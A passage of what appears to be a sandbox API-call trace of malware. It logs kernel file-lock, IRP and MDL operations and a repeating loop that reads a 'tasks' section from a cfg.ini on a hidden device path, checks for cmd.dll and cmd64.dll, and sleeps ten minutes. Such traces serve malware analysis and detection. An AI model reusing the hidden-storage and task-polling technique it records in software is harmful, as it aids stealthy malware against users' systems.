Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.469] KeLeaveCriticalRegion () [0123.469] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.469] KeEnterCriticalRegion () [0123.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.469] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.469] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.469] KeLeaveCriticalRegion () [0123.469] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.470] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.470] KeEnterCriticalRegion () [0123.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.470] ExFreePoolWithTag (P=0xfffffa8003beb8e0, Tag=0x0) [0123.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.470] KeLeaveCriticalRegion () [0123.470] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.470] ReleaseMutex (hMutex=0xf0) returned 1 [0123.470] Sleep (dwMilliseconds=0x927c0) [0123.487] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.487] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.487] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.487] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.487] KeEnterCriticalRegion () [0123.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.487] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.487] IdePortDispatch () returned 0x103 [0123.487] KeWaitForMutexObject () returned 0x0 [0123.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.488] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.488] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.488] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.488] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.488] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebcf0 [0123.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] KeLeaveCriticalRegion () [0123.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.488] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.488] KeEnterCriticalRegion () [0123.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] KeLeaveCriticalRegion () [0123.488] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.488] KeEnterCriticalRegion () [0123.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.488] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.488] IdePortDispatch () returned 0x103 [0123.488] KeWaitForMutexObject () returned 0x0 [0123.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] KeLeaveCriticalRegion () [0123.488] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.488] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.488] KeEnterCriticalRegion () [0123.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bc000 [0123.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.489] IdePortDispatch () returned 0x103 [0123.489] KeWaitForMutexObject () returned 0x0 [0123.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.489] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.489] IdePortDispatch () returned 0x103 [0123.489] KeWaitForMutexObject () returned 0x0 [0123.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.489] KeLeaveCriticalRegion () [0123.489] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.490] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.490] KeEnterCriticalRegion () [0123.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] KeLeaveCriticalRegion () [0123.490] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.490] KeEnterCriticalRegion () [0123.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.490] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] KeLeaveCriticalRegion () [0123.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.490] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.490] KeEnterCriticalRegion () [0123.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] ExFreePoolWithTag (P=0xfffffa8003bebcf0, Tag=0x0) [0123.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.490] KeLeaveCriticalRegion () [0123.490] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.490] ReleaseMutex (hMutex=0xf0) returned 1 [0123.490] Sleep (dwMilliseconds=0x927c0) [0123.503] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.503] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.504] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.504] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.504] KeEnterCriticalRegion () [0123.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.504] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.504] IdePortDispatch () returned 0x103 [0123.504] KeWaitForMutexObject () returned 0x0 [0123.504] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.504] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.504] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.504] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.504] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.504] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb1e0 [0123.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.504] KeLeaveCriticalRegion () [0123.504] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.504] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.504] KeEnterCriticalRegion () [0123.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.504] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.504] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.504] KeLeaveCriticalRegion () [0123.504] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.504] KeEnterCriticalRegion () [0123.504] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.504] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.504] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.504] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.504] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.504] IdePortDispatch () returned 0x103 [0123.504] KeWaitForMutexObject () returned 0x0 [0123.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.505] KeLeaveCriticalRegion () [0123.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.505] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.505] KeEnterCriticalRegion () [0123.505] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c1000 [0123.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.505] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.505] IdePortDispatch () returned 0x103 [0123.505] KeWaitForMutexObject () returned 0x0 [0123.505] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.505] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.505] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.505] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.505] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.505] IdePortDispatch () returned 0x103 [0123.505] KeWaitForMutexObject () returned 0x0 [0123.505] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.505] KeLeaveCriticalRegion () [0123.505] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.506] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.506] KeEnterCriticalRegion () [0123.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] KeLeaveCriticalRegion () [0123.506] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.506] KeEnterCriticalRegion () [0123.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.506] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bece70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] KeLeaveCriticalRegion () [0123.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.506] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.506] KeEnterCriticalRegion () [0123.506] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] ExFreePoolWithTag (P=0xfffffa8003beb1e0, Tag=0x0) [0123.506] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.506] KeLeaveCriticalRegion () [0123.506] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.506] ReleaseMutex (hMutex=0xf0) returned 1 [0123.506] Sleep (dwMilliseconds=0x927c0) [0123.521] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.521] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.521] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.521] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.521] KeEnterCriticalRegion () [0123.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.522] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.522] IdePortDispatch () returned 0x103 [0123.522] KeWaitForMutexObject () returned 0x0 [0123.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.522] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.522] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.522] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.522] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.522] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb1e0 [0123.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.522] KeLeaveCriticalRegion () [0123.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.522] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.522] KeEnterCriticalRegion () [0123.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.522] KeLeaveCriticalRegion () [0123.522] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.522] KeEnterCriticalRegion () [0123.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.522] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.522] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.522] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.522] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.522] IdePortDispatch () returned 0x103 [0123.522] KeWaitForMutexObject () returned 0x0 [0123.522] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.522] KeLeaveCriticalRegion () [0123.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.523] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.523] KeEnterCriticalRegion () [0123.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.523] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c6000 [0123.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.523] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.523] IdePortDispatch () returned 0x103 [0123.523] KeWaitForMutexObject () returned 0x0 [0123.523] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.523] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.523] IdePortDispatch () returned 0x103 [0123.523] KeWaitForMutexObject () returned 0x0 [0123.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.523] KeLeaveCriticalRegion () [0123.523] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.524] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.524] KeEnterCriticalRegion () [0123.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] KeLeaveCriticalRegion () [0123.524] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.524] KeEnterCriticalRegion () [0123.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.524] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] KeLeaveCriticalRegion () [0123.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.524] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.524] KeEnterCriticalRegion () [0123.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] ExFreePoolWithTag (P=0xfffffa8003beb1e0, Tag=0x0) [0123.524] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] KeLeaveCriticalRegion () [0123.524] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.524] ReleaseMutex (hMutex=0xf0) returned 1 [0123.524] Sleep (dwMilliseconds=0x927c0) [0123.538] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.538] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.538] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.538] KeEnterCriticalRegion () [0123.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.538] IoAllocateIrp 